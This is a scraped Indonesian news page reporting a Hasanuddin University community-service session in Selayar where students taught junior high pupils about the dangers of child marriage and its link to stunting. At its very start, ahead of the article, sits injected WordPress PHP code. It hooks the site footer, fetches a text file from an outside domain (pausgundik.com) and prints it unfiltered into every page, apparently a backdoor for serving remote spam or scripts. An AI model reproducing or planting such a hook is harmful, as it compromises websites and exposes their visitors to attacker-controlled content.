function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');"Mahasiswa KKNT Unhas Ajak Siswa SMP Cegah Pernikahan Anak di Kabupaten Kepulauan Selayar - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Rabu, 2 Agustus 2023 - 16:20 WIB

“Mahasiswa KKNT Unhas Ajak Siswa SMP Cegah Pernikahan Anak di Kabupaten Kepulauan Selayar

Doc. Kegiatan KKNT (Istimewa)

Doc. Kegiatan KKNT (Istimewa)

Pernikahan dini dapat berdampak pada banyak hal diantaranya yaitu persalinan sulit karena organ reproduksi yang belum matang, anemia, BBLR, dan stunting. Oleh karena itu, mahasiswa KKNT Universitas Hasanuddin Gelombang 110 Penurunan Stunting di Desa Bontosunggu melakukan penyuluhan terkait Bahaya Pernikahan Dini pada hari Rabu, 2 Agustus 2023. Kegiatan ini bertempat di UPT SMPN Tanabau No. 14 Kabupaten Kepulauan Selayar.

Penyuluhan ini adalah salah satu program kerja individu yang diselenggarakan oleh mahasiswa KKN dengan Resky Nurul Hikmah selaku penanggung jawab. Penyuluhan juga merupakan bagian dari upaya untuk menurunkan angka stunting di Kecamatan Bontoharu. Kegiatan ini diselenggarakan oleh Posko 2, yang diikuti oleh siswa-siswi kelas 9.

Doc. Kegiatan KKNT (Istimewa)

“Kegiatan ini bertujuan untuk mencegah terjadinya pernikahan usia dini pada siswa(i) di sekolah tersebut. Selain itu juga bertujuan untuk meningkatkan minat siswa untuk terus melanjutkan pendidikan dan mencapai cita-cita masing-masing,” ujar Resky Nurul Hikmah.

Penyuluhan ini diikuti oleh 49 siswa siswi kelas 9. Kegiatan ini dimulai dengan meneriakkan jargon “Stop Pernikahan Dini” yang dijawab dengan “Kebahagiaan Sesaat, Generasi Tak Sehat”. Setelah itu dilanjutkan dengan pengisian pre-test yang bertujuan untuk mengetahui pengetahuan awal yang dimiliki oleh peserta.

Baca Juga  Tingkatkan Pengetahuan HIV/AIDS pada Masyarakat, Mahasiswa PBL II FKM UNHAS Adakan Nobar Short Film di Masjid Desa Panaikang sebagai Upaya Mendukung Tujuan SDGs ke Tiga

Pemaparan materi disampaikan oleh Resky Nurul Hikmah, mahasiswa dari Program Studi Kesehatan Masyarakat. Penyuluhan ini membahas materi tentang pengertian pernikahan dan tujuannya, pengertian pernikahan dini, umur ideal untuk menikah dan dampak dari pernikahan dini itu. Siswa siswi antusias dalam menerima materi yang diberikan serta berpartisipasi aktif dalam menyimak materi yang diberikan dan menjawab pertanyaan yang ajukan oleh pemateri saat penyuluhan dilakukan. Interaksi berhasil terjalin akrab antara pemateri dan peserta selama penyuluhan berlangsung. Setelah pemberian materi dilanjutkan dengan permainan edukasi yaitu Geni Dini Game Pernikahan Dini.

Geni Dini merupakan permainan berupa kuis, dimana pemateri memberikan pertanyaan seputar materi bahaya pernikahan dini yang akan dijawab oleh kelompok-kelompok yang dibentuk sebelumnya. Kelompok yang berhasil menjawab dengan benar akan mendapatkan balok sesuai dengan bobot jawaban dari pertanyaan yang berhasil dijawab. Balok tersebut kemudian disusun sedemikian rupa di hadapan kelompok tersebut. Pemenang dipilih dari kelompok dengan balok terbanyak. Permainan berlangsung sangat seru, setiap anggota kelompok aktif berpartisipasi dalam menjawab pertanyaan yang berarti bahwa peserta dapat mengingat materi dari penyuluhan yang diberikan.

Baca Juga  Posko 31 PBL FKM UNHAS Sukses Menggelar Penyuluhan Dan Pembagian Buku Saku Bahaya Pemberian MPASI Terlalu Dini

Muhammad Rachmat, DPK KKNT Unhas dan dosen Fakultas Kesehatan Masyarakat mengungkapkan hubungan antara kejadian stunting dengan pernikahan anak atau pernikahan dini. Pernikahan dini, menurut Undang-Undang No. 16 Tahun 2019 sebagai Perubahan Atas Undang-Undang No. 1 Tahun 1974 tentang Perkawinan, adalah pernikahan di bawah usia 19 tahun. “Jika mereka sudah menikah pada usia remaja, misalnya kurang dari 19 tahun, maka tubuh ibu akan berebut gizi dengan bayi yang dikandungnya. Bayi akan lahir dengan berat badan lahir rendah (BBLR) dan sangat berisiko terkena stunting,” ujar Muhammad Rachmat.

“Dari segi emosional, anak usia kurang dari 19 tahun dapat dikatakan belum mampu dan siap menghadapi berbagai risiko dalam berumah tangga karena berada pada usia yang butuh banyak waktu untuk bermain dan belajar,” tutup Muhammad Rachmat yang merupakan dosen di Departemen Promosi Kesehatan dan Ilmu Perilaku Fakultas Kesehatan Masyarakat Universitas Hasanuddin.

 

Share :

Baca Juga

Berita

Launching Purwarupa di Puskesmas Watdek, Dorong Peningkatan Cakupan Imunisasi di Kabupaten Maluku Tenggara

OPINI

Rekomendasi Kebijakan (Policy Brief) dalam Implementasi Safety Leadership pada sektor Konstruksi yang disusun oleh A.Wahyuni, salah satu mahasiswa S3 Kesehatan Masyarakat FKM Unhas

Berita

Seminar Awal PBL III FKM Unhas Sukses Digelar di Posko 20 Desa Pitue

Berita

Fakultas Kesehatan Masyarakat Universitas Hasanuddin melaksanakan Yudisium terhadap 108 Wisudawan Program Sarjana, Magister, dan Doktor Periode Juli 2024

Berita

Posko 26 FKM Unhas Gelar Seminar Awal PBL 1 di Desa Coppo Tompong, Pangkep

Berita

Tim PPK ORMAWA BEM FKM Unhas Adakan Penyuluhan Pemilahan Sampah

Berita

Tim Dosen Unhas Perkuat Keterampilan Emo-Demo Kader Pendamping Keluarga di Bantaeng

Berita

Perkuat Kompetensi Mahasiswa : FKM Unhas Gelar Sosialisasi MKPK Kepada Pengurus Lembaga Mahasiswa